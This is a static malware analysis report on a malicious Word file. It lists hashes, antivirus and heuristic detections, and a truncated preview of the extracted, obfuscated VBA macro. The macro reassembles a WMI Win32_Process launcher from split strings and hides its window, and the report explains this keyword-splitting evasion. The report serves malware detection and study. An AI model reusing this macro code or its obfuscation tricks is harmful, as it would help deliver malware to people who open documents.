Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2dcc93e354589616…

MALICIOUS

Office (OLE)

301.2 KB Created: 2019-02-19 18:22:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 2858fc6cdc6683ee267f6333f356c327 SHA-1: 3d645987273664996451f34d3e950a5db9e53f61 SHA-256: 2dcc93e3545896163ec911962ff4d5d0779ef9dc9f7fe39d00c98996a4f3d0e6
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening a document. The macro utilizes GetObject and CreateObject to launch the Win32_Process WMI class, indicating an attempt to create a new process. This is further supported by the heuristic 'OLE_VBA_WMI_PROCESS_CREATE' and the obfuscated string 'Win32_Process'. The primary goal is likely to download and execute a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Trojan.Agent-6862963-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Agent-6862963-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 54934 bytes
SHA-256: f609d01ce17311cee7e3aa9551afc98aa344c4ba6b106b86fc84f526bc5a9bb8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "r_6424_"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "A4_0407"
Function R5__9264()
   If P_3__1 <> w889658 Then
z_202301 = 818743716 + CSng(144584249) * 507601394 * ChrB(46557906) * (U7310_ / CDbl(62413841 + CBool(m7_142 - Int(11734063 / c073_830 * 475128739 / Cos(u89653)))) - (Q_5_68 + Oct(326730978) + 181183129 / 395162741))
End If
   If m08_618_ <> f47_85 Then
t_538668 = 739898112 + CSng(254487639) * 472991127 * ChrB(704071448) * (v93_0713 / CDbl(254803349 + CBool(K327_7 - Int(483852052 / K669226 * 816684814 / Cos(U72_5_)))) - (j__0031 + Oct(334392312) + 240397194 / 286246009))
End If
   If R_4_98_6 <> V6287__ Then
X54276 = 193538451 + CSng(485985765) * 471260225 * ChrB(32109376) * (p167__ / CDbl(635291677 + CBool(d26563_ - Int(665722344 / T336920 * 809714518 / Cos(A856695)))) - (Y_250_ + Oct(233985896) + 862577724 / 843653229))
End If
   If r113263 <> j646__ Then
F5_1_415 = 713026183 + CSng(942369490) * 385965261 * ChrB(884638696) * (w_1116_9 / CDbl(478987498 + CBool(b57_77_7 - Int(506332759 / R91_1_67 * 787026982 / Cos(l755__1_)))) - (T55_9647 + Oct(550638463) + 391876153 / 974194886))
End If
   If z0356_82 <> t_99_59 Then
j845129_ = 695514759 + CSng(17734724) * 71410172 * ChrB(548543260) * (J6_0069 / CDbl(413020895 + CBool(H6_0___5 - Int(562765015 / P_633_2_ * 100565871 / Cos(f764_0__)))) - (X7306_ + Oct(928031853) + 873273403 / 235432616))
End If
   If i_85558 <> t935316 Then
L6_593 = 995211529 + CSng(126338240) * 128077960 * ChrB(510941935) * (P26_74 / CDbl(644620962 + CBool(O___880_ - Int(929331123 / v9898655 * 336287719 / Cos(C9498_)))) - (r_53_827 + Oct(23467874) + 673557798 / 314052809))
End If
   If N2166_ <> Q939458_ Then
z_04_79 = 266266500 + CSng(598223058) * 670707673 * ChrB(162697134) * (m__3072_ / CDbl(171514100 + CBool(S14109 - Int(612472314 / Y36712 * 607654353 / Cos(U19506)))) - (G_419_3 + Oct(365606424) + 891849067 / 925273660))
End If
End Function
Function K7198305(n02_29, p608_41)
On Error Resume Next
   If L42_61 <> j30643 Then
j14_6_ = 546721519 + CSng(181472685) * 191090868 * ChrB(517938059) * (X210_61 / CDbl(970497037 + CBool(U__13780 - Int(952036620 / B57_70 * 466259384 / Cos(i_36_93_)))) - (H58_0616 + Oct(588464668) + 53223685 / 675546603))
End If
   If G_483_6 <> a___352_ Then
M43_65 = 57123517 + CSng(148130876) * 391328771 * ChrB(77800052) * (i_3_07 / CDbl(900687950 + CBool(f__809 - Int(237286079 / z09_36_3 * 860301202 / Cos(j_0_65)))) - (X00_2_0 + Oct(277744077) + 391519232 / 313886967))
End If
   If H5727_6_ <> U006_3 Then
v__53_ = 727854088 + CSng(789720981) * 618846356 * ChrB(531632388) * (k4__2__9 / CDbl(606958400 + CBool(r1___68 - Int(933777238 / S34__396 * 672624166 / Cos(H663__52)))) - (l75_43 + Oct(130416451) + 877823037 / 393277736))
End If
Set O01__6__ = GetObject(F519_40 + "winmgm" + w39099 + "ts:Win" + "32_Proce" + "ssStartup")
   If L__00639 <> d8__725_ Then
P_875_3 = 77569145 + CSng(152302625) * 17016816 * ChrB(265325121) * (E6___21_ / CDbl(178650414 + CBool(b_1_173 - Int(102552135 / T5676_32 * 477650712 / Cos(z0960670)))) - (G8__6_6 + Oct(15738299) + 699061565 / 820527518))
End If
   If X75_75 <> R_085779 Then
b_605524 = 254114871 + CSng(40045389) * 279119795 * ChrB(26586548) * (u0586_ / CDbl(903865973 + CBool(m6_220__ - Int(794237512 / N___3__3 * 39064679 / Cos(P_9093_)))) - (u310474 + Oct(16416647) + 581980588 / 325328538))
End If
O01__6__.ShowWindow = 972835 - 972835
   If X4__781 <> w7887_2_ Then
j8__82 = 866980450 + CSng(346214390) * 730598097 * ChrB(437992664) * (o4371668 / CDbl(776199244 + CBool(a_8_9128 - Int(669005096 / E195599 * 181236613 / Cos(o50561_)))) - (M539521 + Oct(256639908) + 250065071 / 334700272))
End If
   If P_4088_ <> m817967 Then
w53_8_50 = 642806962 + CSng(104134585) * 685101733 * ChrB(351001416) * (a_98_9 / CDbl(603410765 + CBool(Z_1713__ - Int(256064212 /
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.